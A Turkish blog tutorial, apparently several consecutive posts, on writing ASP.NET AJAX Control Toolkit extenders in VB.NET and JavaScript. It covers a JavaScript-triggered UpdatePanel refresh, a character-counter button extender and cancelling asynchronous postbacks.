<%@ Register Assembly="UpdatePanelJavaScript" Namespace="UpdatePanelJavaScript.UpdatePanelJavaScript"
TagPrefix="JS" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" />
<div>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Label1" runat="server" Text="Label"></asp:Label>
</ContentTemplate>
</asp:UpdatePanel>
<JS:UpdatePanelJavaScriptExtender TargetControlID="UpdatePanel1"
ClientCommand="Guncelle"
ID="UpdatePanelJavaScriptExtender1"
runat="server">
</JS:UpdatePanelJavaScriptExtender>
<input id="Button1" type="button" value="button" onclick="Guncelle(1);" />
</div>
</form>
</body>
</html>
Gördüğünüz gibi sayfamızda, içerisinde bir Label bulunan bir UpdatePanel ve bir adet HTML Button bulunuyor. HTML buttonun OnClick özelliğine Guncelle JavaScript fonksiyonumuz yerleştirilmiş. Burada dikkat etmemiz gereken bir diğer nokta da aslında Guncelle fonksiyonuna bir de parametre vermiş olmamış. UpdatePanelJavaScriptExtender kontrolümüz sadece UpdatePanel'i yenilemek ile kalmayacak sunucu tarafına parametre de aktarabiliyor olacak. Şimdi de sunucu tarafında yazdığımız koda bakalım.
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub UpdatePanelJavaScriptExtender1_Update _
(ByVal Sender As Object, _
ByVal E As System.EventArgs, _
ByVal parameter As String) _
Handles UpdatePanelJavaScriptExtender1.Update
Label1.Text = parameter
End Sub
End Class
UpdatePanelJavaScriptExtender kontrolümüzün Update adında bir durumu (event) var. Bu durum biz istemci tarafında Guncelle fonksiyonumuzu çalıştırdığımızda gerçekleşiyor olacak. Update durumunun getirdiği parametrelere bakarsak arada parametre adında bir String değer bulunduğunu görebiliriz. Bu değer bizim istemci tarafında Guncelle fonksiyonuna verdiğimiz 1 değeri olacak. Kodumuz içerisinde gelen bu değeri Label1 içerisine yazıyoruz. Siz projelerinizde farklı işlemler yapabilir veya farklı dinamik parametreler, hatta JSON olarak serialize ederek her tür veriyi, objeyi gönderebilirsiniz.
Peki Nasıl?
Nasıl oluyor da normal şartlarda UpdatePanel'in JavaScript ile Update edilme özelliği yokken bizim UpdatePanelJavaScript Extender kontrolümüz bunu yapıyor? Bir düşünelim; biz UpdatePanel içerisine bir TextBox koysak ve AutoPostBack özelliğini True yapsak bu kontrol içerisine birşey yazıldığında UpdatePanel'in yenilenmesini ve TextBox içerisinde yazının da sunucu tarafına gönderilmesini sağlar mı? Kesinlikle. Bu durumda gidelim UpdatePanel içerisine ekranda görünmeyen, gizli bir TextBox ekleyelim. İstediğimiz zaman TextBox içine JavaScript ile bir metin yazıp (parametremizi) sonra da TextBox'ın içeriği değiştirildiğinde çalışan onchanged durumundaki JavaScript kodunu çalıştıralım. Sonra da gidip sunucu tarafında TextBox'ın içindeki veriyi alıp işlemlerimizi yapalım. İşte UpdatePanelJavaScript Extender kontrolümüzün yaptığı da aslında bu. Ama bunların hepsini bizden gizli olarak, bizi hiç uğraştırmadan yapıyor.
İş Başına
Kontrolümüzü kullanmak güzeldi, kolaydı ama bizim bu kontrolün nasıl hazırlandığını ve hazırlanma aşamasında karşılaşılabilecek olası sorunları da incelememiz şart. Yeni bir ASP.NET AJAX Control Project açarak kodlarımızı yazmaya başlayabiliriz. İlk olarak gelin kontrolümüz için yazdığımız JavaScript kodumuza yani kontrol projemizdeki JavaScript dosyasının içeriğine bakalım.
/**
* @author Daron Yöndem
* @web http://daron.yondem.com
*/
Type.registerNamespace('UpdatePanelJavaScript');
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior = function(element) {
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.initializeBase(this, [element]);
//ClientCommand özelliğimiz için iç bir değişken tanımladık.
this._ClientCommandValue = null;
}
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.prototype = {
initialize : function() {
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.callBaseMethod(this, 'initialize');
},
dispose : function() {
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.callBaseMethod(this, 'dispose');
},
//ClientCommand özelliği için Set ve Get JavaScript metodlarını tanımladık.
get_ClientCommand : function() {
return this._ClientCommandValue;
},
set_ClientCommand : function(value) {
this._ClientCommandValue = value;
}
}
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.registerClass('UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior', AjaxControlToolkit.BehaviorBase);
//JavaScript fonksiyonu çalıştırıldığında burası çalışacak.
//Buradaki Update JavaScript metodu parametre olarak
//parametremizi ve gizli TextBox'ın ID sini alıyor.
UpdatePanelJavaScript.Update = function(HiddenBoxID, parameter) {
//Gizli TextBox kontrolünü buluyoruz.
var HiddenBox =$get(HiddenBoxID);
//Parametre yoksa rastgele bir sayı döndürelim.
if (typeof(parameter)=="undefined")
{
parameter = "RANDOMPARAM" + Math.random();
};
//Eğer bir önceki aktarılan parametre ile
//şimdiki aynı ise parametremizin sonuna rastgele bir sayı ekliyoruz.
if (HiddenBox.value == parameter)
{
parameter = parameter + "RANDOMPARAM" + Math.random();
};
//Parametremizi TextBox'ın içine koyuyoruz.
HiddenBox.value = parameter;
//TextBox'ın onchange özelliğinde JavaScript kodunu alıyoruz ve temizliyoruz.
var MyCommand = String(HiddenBox.onchange).replace('function anonymous()\n{\n','');
MyCommand = MyCommand.replace('\n}','');
MyCommand = MyCommand.replace('function onchange(event) {\njavascript:\n','');
//onchange durumundaki JavaScript kodunu çalıştırıyoruz.
eval(MyCommand);
};
Olabildiğince satır arası yorumlar ile kodumuzda neler yaptığımıza anlatmaya çalıştım. Özellikle birkaç önemli noktaya değinmekte fayda var. JavaScript kodlarımız içerisinde UpdatePanelJavaScript Extender kontrolümüz için Update adında bir fonksiyon tanımlıyoruz. Bu fonksiyon içerisinde direk elimizdeki TextBox kontrolüne ulaşamıyoruz. Eğer sayfamızda birden çok UpdatePanel JavaScript Extender kontrolü varsa yukarıdaki JavaScript kodu sayfaya sadece bir defa ekleniyor. Yani yukarıdaki kodun değişkenlere bağımlı olması şart. Bu durumda biz de TextBox kontrolümüzün adını Update JavaScript fonksiyonumuza parametre olarak vermeye karar verdik. Söz konusu Update fonksiyonunu kullanacak başka bir JavaScript fonksiyonu oluşturmayı ve TextBox kontrolümüzü UpdatePanel'in içerisine eklemeyi sunucu tarafındaki kodumuzla bir sonraki aşamada yapıyor olacağız.
JavaScript kodumuz ayrıca kendisine verilen parametrenin bir önceki parametre ile yani TextBox kontrolünün içeriği ile aynı olup olmadığını da kontrol ediyor. Eğer aynı ise sonuna rastgele bir sayı ekliyor, bu rastgele sayıyı da sunucu tarafında siliyor olacağız. Neden böyle birşey yapmaya ihtiyaç duyduğumuza gelince; maalesef TextBox'ın içeriği değişmez ise onchange durumunu çalıştıramıyoruz. O nedenle aynı parametre gönderildiğinde de bir Update sağlayabilmek için sonuna rastgele bir sayı ekleyerek değiştirmiş gibi davranmamız gerekiyor. Son olarak kodumuzla gizli TextBox'ımızın onchange JavaScript kodunu alarak ve temizleyerek kendimiz çalıştırıyoruz.
Şimdi geçelim sunucu tarafındaki Extender kodumuza.
Imports System
Imports System.ComponentModel
Imports System.Web.UI
Imports System.Web.UI.WebControls
Imports AjaxControlToolkit
#Region "Assembly Resource Attribute"
<Assembly: System.Web.UI.WebResource("UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.js", "text/javascript")>
#End Region
Namespace UpdatePanelJavaScript
<Description("Creates JavaScript interface simulating UpdatePanel.Update()")> _
<Designer(GetType(UpdatePanelJavaScriptDesigner))> _
<ClientScriptResource("UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior", "UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.js")> _
<TargetControlType(GetType(UpdatePanel))> _
Public Class UpdatePanelJavaScriptExtender
Inherits ExtenderControlBase
'Durumları ile beraber UpdatePanel içerisine ekleyeceğimiz
'TextBox'ı yaratıyoruz.
WithEvents MyTextBox As New System.Web.UI.WebControls.TextBox
'Extender kontrolümüze ait Update durumunu tanımlıyoruz.
Public Event Update(ByVal Sender As Object, ByVal E As EventArgs, ByVal parameter As String)
'ClientCommand özelliğine ait Get ve Set metodları.
<ExtenderControlProperty()> _
<DefaultValue("Update")> _
Public Property ClientCommand() As String
Get
Return GetPropertyValue("ClientCommand", "")
End Get
Set(ByVal value As String)
SetPropertyValue("ClientCommand", value)
End Set
End Property
'Extender Render edildiğinde ilk çalıştırılan kodlar.
Private Sub UpdatePanelJavaScriptExtender_Init(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Init
'TextBox AutoPostBack olsun.
MyTextBox.AutoPostBack = True
'TextBox sayfada görünmez olsun
MyTextBox.Style.Add("visibility", "hidden")
MyTextBox.Style.Add("display", "none")
'Hedef UpdatePanel'i bulalım.
Dim TargetPanel As System.Web.UI.UpdatePanel = Me.TargetControl
'TextBox'ı ekleyelim.
TargetPanel.ContentTemplateContainer.Controls.Add(MyTextBox)
'OnClientCommand özelliğine verilen JavaScript fonksiyonunu yaratalım.
Dim script As New System.Web.UI.HtmlControls.HtmlGenericControl("script")
script.Attributes.Add("type", "text/javascript")
script.Attributes.Add("language", "javascript")
Dim builder As New System.Text.StringBuilder builder.Append("function ")
builder.Append(Me.ClientCommand)
builder.AppendLine("(parameter) {")
builder.Append("UpdatePanelJavaScript.Update('")
builder.Append(MyTextBox.ClientID)
builder.AppendLine("', parameter);")
builder.AppendLine("};") script.InnerHtml = builder.ToString
'JavaScript fonksiyonumuzu Extender'a ekleyelim.
Me.Controls.Add(script)
End Sub
'UpdatePanel içerisine eklediğimiz TextBox'a ait TextChanged durumunu kontrol ediyoruz..
Sub Control_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyTextBox.TextChanged
Dim SenderControl As System.Web.UI.WebControls.TextBox = sender
'RANDOMPARAM'ın varlığını kontrol ederek RaiseEvent ile kendi Update durumumuzu çalıştırıyoruz.
If SenderControl.Text.IndexOf("RANDOMPARAM") <> -1 Then
If SenderControl.Text.IndexOf("RANDOMPARAM") = 0 Then
RaiseEvent Update(Me, e, "")
Else
RaiseEvent Update(Me, e, SenderControl.Text.Substring(0, SenderControl.Text.IndexOf("RANDOMPARAM")))
End If
Else
RaiseEvent Update(Me, e, SenderControl.Text)
End If
End Sub
End Class
End Namespace
Yukarıdaki kod içerisinde önemli noktalardan birincisi UpdatePanel içerisine ekleyeceğimiz TextBox kontrolümüzü WithEvents ile yaratıyor olmak. Böylece söz konusu TextBox'a ait TextChanged durumunu Extender içerisinde kontrol edebileceğiz ve kendi Extender'ımızın Update durumunu çalıştırabileceğiz. İkincisi ise kendi Update durumumuzu (event) tanımlıyor olmamız.
Extender ilk olarak web sayfasına eklendiğinde ve sayfa ilk olarak istemcide çalıştırıldığında Extender'a ait Inıt durumu çalışacaktır. Biz Inıt durumunda kendi TextBox'ımızı CSS özellikleri ile görünmez yaparak AutoPostBack özelliğini de ayarladıktan sonra hedef UpdatePanel içerisine ekliyoruz. Sonraki adımda da Extender kontrolüne verilen ClientCommand özelliğine göre Extender JavaScript kodlarımızdaki Update metodunu kullanacak sayfa içi JavaScript kodunu yaratmalıyız. Bunun için de bir StringBuilder ve HTMLGenericControl kullandık. Son olarak JavaScript kodumuzu Extender'a ekledik.
Gelelim TextBox'a ait TextChanged durumuna. TextBox içerisine JavaScript ile yerleştirilen metni kontrol etmemiz gerekiyor. Eğer RANDOMPARAM var ise silmemiz gerek. Bu işlemleri de tamamladıktan sonra RaiseEvent ile kendi Update durumumuzu çalıştırıyoruz. Böylece Extender'ı kullananlar Update durumu üzerinde direk parametreyi alabilecekler.
Altenatif Teknikler
Yukarıdaki kontrolü kullanmak veya kontrolün işleyiş mantığına uymanın haricinde farklı teknikler de söz konusu. Örneğin aşağıdaki kodu kullanarak herhangi bir HTML objesinden direk başka bir .NET objesinin PostBack JavaScript kodunu alarak çalıştırabilirsiniz.
<input id="Button1" type="button" value="button" onclick="<%= ClientScript.GetPostBackEventReference(new PostBackOptions(TextBox1, "")) %>" />
Tabi yukarıdaki kod içerisinde TextBox'ın içeriğine bir parametre koyma şansınız olmayacaktır. Farklı bir şekilde düzeneyerek böyle bir özellik eklemek de mümkün. Extender kontrolümüzün güzel yanı bize tüm bu işlevleri kolayca kullanabileceğimiz istediğimiz isimde JavaScript fonksiyonları ve sunucu taraflı durum kontrolü sağlaması.
Hepinize kolay gelsin. UpdatePanel JavaScript Extender Kaynak Kodu - 04092007_1.zip (493,15 KB)
ASP.NET AJAX Extension kullandığımız web sitelerinde bize büyük kolaylık sağlayan AJAX Control Toolkit içerisindeki kontroller gibi Extender kontrolleri geliştirmek isterseniz tek yapmanız gereken okumaya devam etmek. :) Peki bu gibi kontrolleri hazırlayabilmek için nelere ihtiyacımız olacak? Eğer web sitesi geliştirmek için Visual Web Developer Express kullanıyorsanız maalesef ek olarak Visual Basic 2005 Express Edition veya Visual C# 2005 Express Edition'ın da bilgisayarınızda yüklü olması gerekiyor. Kontrolümüzü geliştirme işini maalesef Visual Web Developer içerisinde yapamıyoruz. Eğer Visual Studio 2005 kullanıyorsanız herhangi bir sorun yaşamazsınız. Visual Studio içerisinde yaratmış olduğunuz herhangi bir web sitesini açarak File / Add / New Project menüsünden ASP.NET AJAX Control Project seçeneğini seçerek var olan Solution paketine extender kontrol projenizi ekleyebilirsiniz. Eğer Express sürümü geliştiricileri kullanıyorsanız kontrolü geliştirmek ve kullanmak için yukarıda bahsettiğim gibi farklı araçları kullanmanız gerekiyor. Ben makale boyunca Visual Studio 2005 kullanacağım.

Kendi AJAX Control projemizi yaratıyoruz.
Yaratacağımız örnek Extender kontrolünün adı SayacDugme olacak. Kontrolün amacı kendisine atanan bir metin kutusuna yazı yazıldıkça yazının uzunluğunu yine kendisine atanan bir düğmenin metnine eklemek. Genelde bu tarz uygulamalar web sitelerinde iletişim formlarında görülebiliyor. Aslına bakarsanız en uygun örnek cep telefonlarımızda yazdığımız SMSler. Telefonumuzda yazı yazdıkça kaç karakter yazdığımız bir köşede gösterilir. Bizim de oluşturacağımız Extender karakter sayısını alarak kendisine atanan bir düğmenin üzerine yazacak.
 SayacDugme Extender projemizi Solution Explorer içerisinde görebiliyoruz.
Extender kontrolümüz yaratıldığında oluşturulan dosyalar arasından ilk olarak SayacDugmeExtender.vb dosyası üzerinde çalışıyor olacağız. Dosya içerisinde hazır olarak gelen TargetControlType özelliğinin kontrol tipini aşağıdaki şekilde TextBox olarak değiştirmemiz gerekiyor. Her bir Extender kontrolünün otomatik olarak bir TargetControlID özelliği oluyor. Bizim Extender kontrolümüzde bu özelliğe atanacak kontrolün TextBox tipinde olması şart.
<TargetControlType(GetType(TextBox))> _
Sıra geldi TargetControlID gibi ek bir parametre daha eklemeye. Extender kontrolümüzün bir metin kutusundaki harf sayısını kendisine atanan bir düğme üzerine yazacağından bahsetmiştik. Bu durumda söz konusu düğmeye ait ID bilgisinin de bir şekilde Extender'a iletilmiş olması gerekiyor.
<ExtenderControlProperty()> _
<DefaultValue("")> _
<IDReferenceProperty(GetType(Button))> _
Public Property TargetButtonID() As String
Get
Return GetPropertyValue("TargetButtonID", "")
End Get
Set(ByVal value As String)
SetPropertyValue("TargetButtonID", value)
End Set
End Property
Yukarıda da inceleyebileceğiniz üzere kontrolümüze ait ek özellikleri bir Property olarak tanımlıyoruz. Yapı az çok Class yapılarında kullandığımız Property'ler ile aynı. Örneğimizde Property adını TargetButtonID olarak düzenledik. Bu şekilde Property tanımlarken dikkat etmemiz gereken ufak birkaç nokta var. Eğer tanımlanan Property için gelecek değer başka bir kontrolün ID bilgisi ise üstteki IDReferenceProperty tanımlaması ile gelecek olan kontrolün tipini de belirleyebiliyoruz. Ayrıca her bir Property için ExtenderControlProperty özelliğinin de ayarlanması şart. İsterseniz Property ler için varsayılan değerleri de DefaultValue ile tanımlayabilirsiniz. Kodlar içerisinde kullandığımız GetPropertyValue ve SetPropertyValue metodları ise ileriki aşamalarda JavaScript tarafında tanımlayacağımız metodları kullanacak.
Kontrolümüze ek bir parametre daha ekliyor olacağız. Bu parametre sadece bir metin alacak. Extender kontrolümüz bir düğmenin üzerine toplam metin uzunluğunu yazarken ayrıca düğmenin adını da yazmalı. Örneğin "Gönder (56)" gibi bir yazının düğmenin üzerinde olması mantıklı olur. Bu durumda düğmenin üzerinde esas yazacak olan "Gönder" gibi bir metni de bizim kullanıcıdan alıyor olmamız gerekir.
<ExtenderControlProperty()> _
<DefaultValue("")> _
Public Property Metin() As String
Get
Return GetPropertyValue("Metin", "")
End Get
Set(ByVal value As String)
SetPropertyValue("Metin", value)
End Set
End Property
Bir önceki adımda olduğu gibi burada da bir Property tanımladık. Bu Property'nin tek farkı bir kontrolün ID bilgisini taşımayacağı için IDReferenceProperty özelliğine sahip olmaması. Sunucu tarafındaki kodumuzu tamamladık. SayacDugmeExtender.vb dosyamızın son hali aşağıdaki şekilde.
Imports System
Imports System.ComponentModel
Imports System.Web.UI
Imports System.Web.UI.WebControls
Imports AjaxControlToolkit
#Region "Assembly Resource Attribute"
<Assembly: System.Web.UI.WebResource("SayacDugme.SayacDugmeBehavior.js", "text/javascript")>
#End Region
Namespace SayacDugme
<Designer(GetType(SayacDugmeDesigner))> _
<ClientScriptResource("SayacDugme.SayacDugmeBehavior", "SayacDugme.SayacDugmeBehavior.js")> _
<TargetControlType(GetType(TextBox))> _
Public Class SayacDugmeExtender
Inherits ExtenderControlBase
<ExtenderControlProperty()> _
<DefaultValue("")> _
<IDReferenceProperty(GetType(Button))> _
Public Property TargetButtonID() As String
Get
Return GetPropertyValue("TargetButtonID", "")
End Get
Set(ByVal value As String)
SetPropertyValue("TargetButtonID", value)
End Set
End Property
<ExtenderControlProperty()> _
<DefaultValue("")> _
Public Property Metin() As String
Get
Return GetPropertyValue("Metin", "")
End Get
Set(ByVal value As String)
SetPropertyValue("Metin", value)
End Set
End Property
End Class
End Namespace
Sıra geldi istemci tarafında çalışacak olan JavaScript kodlarımızı yazmaya. Tüm JavaScript kodlarımızı projemize ait SayacDugmeBehavior.js dosyası içerisine yazıyor olacağız. Sunucu tarafında tanımladığımız Property'ler ile ilgili fonksiyonları ve değişkenleri JavaScript tarafında da tanımlamamız gerekiyor. İlk olarak önümüze gelen JavaScript dosyasında aşağıdaki şekilde değişkenlerimizi tanımlayalım.
SayacDugme.SayacDugmeBehavior = function(element) {
SayacDugme.SayacDugmeBehavior.initializeBase(this, [element]);
this._TargetButtonIDValue = null;
this._MetinValue = null;
};
Gördüğünüz gibi TargetButtonID ve Metin Property'leri için birer JavaScript değişkeni tanımladık ve başlangıç için değerlerini null olarak verdik. Bir sonraki adımda bu değişkenlerin get ve set metodlarını yazıyor olacağız.
get_TargetButtonID : function() {
return this._TargetButtonIDValue;
},
set_TargetButtonID : function(value) {
this._TargetButtonIDValue = value;
},
get_Metin : function() {
return this._MetinValue;
},
set_Metin : function(value) {
this._MetinValue = value;
}
Yukarıdaki tüm JavaScript fonksiyonlarını SayacDugmeBehavior'ın prototype'ına tanımlıyoruz. Sıra geldi metin kutusuna yazı yazıldıkça düğmenin üzerine gerekli metni yazacak JavaScript fonksiyonunu yazmaya.
_onkeyup : function() {
var harf_sayisi = this.get_element().value.length;
var dugme = $get(this._TargetButtonIDValue);
dugme.value = this._MetinValue + '(' + harf_sayisi + ')';
},
Gördüğünüz gibi prototip tanımlamasına eklediğimiz bu fonksiyon ile ilk olarak harf sayisini bir değişkene alıyoruz. this.get_element() metodu bize extender kontrolümüzün TargetControlID'sine verilmiş kontrolünü getirecek. Extender kontrolüne bağlanan düğmeyi de JavaScript ile yakalayabilmek için kontrolümüze aktarılan ID bilgisi üzerinden yola çıkarak $get metodunu kullanıyoruz. Son olarak düğmenin üzerine yazılacak yazıyı oluştururken de extender kontrolümüze verilmiş Metin yazısı ile toplam harf sayısını uygun şekilde birleştiriyoruz.
Fonksiyonumuzu tamamladık, fakat hala bize verilen metin kutusunun keyup özelliğine bağlanmadı. Sayfa ilk yüklendiğinde extender kontrolüne ait initialize metodu çalıştırılır. Bizim de söz konusu anda gerekli durum bağlantılarını yapmamız gerekiyor.
initialize : function() {
SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'initialize');
$addHandler(this.get_element(), 'keyup',
Function.createDelegate(this, this._onkeyup));
this._onkeyup();
},
ASP.NET AJAX istemci kütüphanesinden $addHandler metodunu kullanarak extender kontrolümüze atanmış metin kutusunun keyup durumuna elimizdeki fonksiyonu bağlıyoruz. Son satırda da söz konusu fonksiyonu bir defalığına çalıştırıyoruz, böylece sayfa ilk yüklendiğinde düğme üzerinde sayaç sıfırı gösteriyor olacak. Kodumuz sonlandığına göre tüm JavaScript dosyamızın yapısını aşağıda inceleyebilirsiniz.
Type.registerNamespace('SayacDugme');
SayacDugme.SayacDugmeBehavior = function(element) {
SayacDugme.SayacDugmeBehavior.initializeBase(this, [element]);
this._TargetButtonIDValue = null;
this._MetinValue = null;
};
SayacDugme.SayacDugmeBehavior.prototype = {
_onkeyup : function() {
var harf_sayisi = this.get_element().value.length;
var dugme = $get(this._TargetButtonIDValue);
dugme.value = this._MetinValue + '(' + harf_sayisi + ')';
},
initialize : function() {
SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'initialize');
$addHandler(this.get_element(), 'keyup',
Function.createDelegate(this, this._onkeyup));
this._onkeyup();
},
dispose : function() {
SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'dispose');
},
get_TargetButtonID : function() {
return this._TargetButtonIDValue;
},
set_TargetButtonID : function(value) {
this._TargetButtonIDValue = value;
},
get_Metin : function() {
return this._MetinValue;
},
set_Metin : function(value) {
this._MetinValue = value;
}
};
SayacDugme.SayacDugmeBehavior.registerClass('SayacDugme.SayacDugmeBehavior', AjaxControlToolkit.BehaviorBase);
Tüm bu işlemleri tamamladıktan sonra projenizi Build ederek oluşacak SayacDugme.dll dosyasını araç çubuğunuza ekleyebilir ve tüm projelerinizde hazırladığımız Extender kontrolünü kullanabilirsiniz. Fakat unutmamakta fayda var; Extender kontrolümüz bir AJAX Control Toolkit Extender'ı olduğu için eklendiği her projeye AJAX Control Toolkit'e ait DLL dosyasını da ekleyecektir. Bilgi olarak aklımızda olmasında fayda var. Kontrolümüzü kullandığımız bir web sayfasının HTML kodu aşağıdaki şekilde sonuçlanıyor.
 SayacDugme Extender kontrolümüz iş başında.
<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<%@ Register Assembly="SayacDugme" Namespace="SayacDugme.SayacDugme" TagPrefix="Daron" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
<div>
<asp:TextBox ID="TextBox1" runat="server"></asp:TextBox><asp:Button ID="Button1"
runat="server" Text="Button" />
<Daron:SayacDugmeExtender ID="SayacDugmeExtender1" runat="server"
TargetControlID="TextBox1"
TargetButtonID="Button1"
Metin="TIKLA">
</Daron:SayacDugmeExtender>
</div>
</form>
</body>
</html>
Hepinize kolay gelsin.
Sayaç Düğme Extender kontrolü projesine ait kodlar - 31082007_1.zip (521,41 KB)
ASP.NET AJAX eğitimlerim devam ediyor. 29 Ağustos tarihinde başlayacak olan sınıfımız için acil kayıtlarınızı MayaSoft Bilişim Akademisi'ne yaptırabilirsiniz. Eğitim toplam 4 gün 24 saat sürecek. 29-30-31 Ağustos ve 3 Eylül günlerinden sabah 09.30 ile öğlen 16.30 saatleri arasında sıkı bir maraton içerisinde olacağız.
Eğitim detaylarına ve konu başlıklarına aşağıdaki link üzerinden bakabilirsiniz. Linkteki tarihler sizi yanıltmasın, tarihler benim burada belirttiğim gibi. Eğitimle beraber benim ASP.NET AJAX kitabım da veriliyor olacak.
http://www.mayasoft.com.tr/bulten/ajax/mayasoft.htm
Farklı web sitelerinde AJAX ile sunucudan istemciye veri yükleme teknikleri kullanmak performans açısından ciddi faydalar sağlarken bazen kontrolün elden çıkmasına da neden olabiliyor. Herhangi bir AJAX yüklemesi, yani XMLHttpRequest gerçekleşirken sunucu ile istemci arasında bir trafik sorunu oluştuğunda sitemizin ziyaretçisi çaresizce AJAX yüklemesinin bitmesini bekliyor. Oysa o yükleme hiç bitmeyecek. Bir diğer senaryoda ise gerçekten sayfaya uzun sürecek bir bilgi yükleniyor olabilir, bu durumda da aslında ziyaretçimize gerektiğinde bu yüklemeyi iptal etme şansı tanıyabiliriz. İşte tüm bu işlemleri istemci tarafında direk JavaScript kodları yazarak nasıl yapabileceğimizi makalemiz boyunca inceliyor olacağız.
Gelin ilk olarak kullanacağımız örneğimizin sayfa tasarımını, mark-up HTML kodunu oluşturalım.
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Label1" runat="server"></asp:Label><br />
<asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
<asp:Button ID="Button2" style="visibility:hidden;"
runat="server" Text="İptal" />
</ContentTemplate>
</asp:UpdatePanel>
Sayfamıza yerleştirdiğimiz UpdatePanel içerisinde toplam iki adet düğme bulunuyor. Bu düğmelerden ilkini yükleme işlemini başlatmak için, ikincisini ise iptal etmek için kullanacağız. İptal etmek için kullanacağımız Button2 düğmesinin ilk başta görünmez olması için CSS özelliği olarak visibility değerini hidden şeklinde düzenliyoruz. İleriki kodlarımızda herhangi bir yükleme başladığında iptal düğmesini görünür hale getireceğiz. Düğmelerimizin yanı sıra sayfaya bir de Label1 adında etiket ekledik, bu etiket üzerine farklı mesajlar yazdırıyor olacağız.
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub button1_Click(ByVal sender As Object, ByVal e As System.EventArgs)
System.Threading.Thread.Sleep(3000)
label1.Text = Date.Now.ToLongTimeString
End Sub
End Class
Sayfamızın Code-Behind kısmında sadece yukarıdaki kodu kullanacağız. Button1, yani yükleme işlemini yapacak olan düğmemize tıklandığında ilk olarak 3 saniye süreyle mevcut Thread'i uykuya alıyoruz. Böylece örneğimizi denediğimizde AJAX yüklemesi üç saniye sürecek. Tabi siz bu kodu gerçek projelerinizde kullanmamalısınız. Bizim örneğimizde gerçek bir yükleme söz konusu olmadığı için kodumuzu simülasyon amacıyla düzenledik. Yükleme işleminin sonunda Label1 içerisine mevcut saat bilgisini yazdırıyoruz.
AJAX sunucu kontrolleri kullanılacak her sayfada bir ScriptManager bulunması gerektiğine dair kuralı hepimiz biliyoruz. Bunun nedeni sayfa içerisindeki tüm AJAX işlemlerinden ScriptManager'ın sorumlu olması ve tüm işlemlerin ScriptManager'ın kontrolünde ilerliyor olması. Bu durumda biz de işlemlerin iptali gibi konularda ScriptManager ile çalışmak durumundayız. Buradan itibaren yazacağımız tüm kodlar JavaScript kodları olacak, fakat her zamanki gibi kodlarımızı sayfanın Header (Baş) kısmına yazma şansımız yok. Yazacağımız tüm JavaScript kodları ScriptManager ile gelen JavaScript özelliklerini kullanacağı için sayfada da ScriptManager'dan sonra yer almaları gerekiyor. Kabaca yapımız aşağıdaki şekilde olacak.
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" />
<script type="text/javascript" language="javascript">
//JavaScript kodlarımız buraya
</script>
<div>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Label1" runat="server"></asp:Label><br />
<asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
<asp:Button ID="Button2" style="visibility:hidden;"
runat="server" Text="İptal" />
</ContentTemplate>
</asp:UpdatePanel>
</div>
</form>
Gelelim yazacağımız JavaScript kodlarına ve anlamlarına. İlk olarak sayfamızdaki ScriptManager'a gelen her AJAX isteğini kontrol altına almak için bir handler eklememiz gerekiyor.
Sys.WebForms.PageRequestManager.getInstance().add_initializeRequest(DurumKontrol);
Yukarıdaki kod içerisinde sayfadaki ScriptManager yani PageRequestManager'a ait mevcut kopyayı (Instance) alıyoruz ve .add_initializeRequest metodu ile sayfada gerçekleşecek her bir AJAX talebinde çalıştırılmak üzere kendi hazırladığımız bir fonksiyonu atıyoruz. Fonksiyonumuzun adı DurumKontrol olacak ve aşağıdaki şekilde oluşturuyor olacağız.
function DurumKontrol(sender, args)
{
var prm = Sys.WebForms.PageRequestManager.getInstance();
if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
{
prm.abortPostBack();
}
else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
args.set_cancel(true);
$get("Label1").innerHTML = "Yükleme devam ediyor...";
}
else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
$get("Label1").innerHTML = "Yükleniyor...";
$get("Button2").style.visibility = "visible";
}
}
Gelin şimdi bu fonksiyon içerisinde neler yaptığımıza tek tek bakalım. İlk olarak yine fonksiyon içerisinde kullanmak üzere prm adında bir değişken tanımlayarak sayfada kullanılan mevcut ScriptManager'a ait PageRequestManager objesinin bir kopyasını, vekilini alıyoruz.
if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
{
prm.abortPostBack();
}
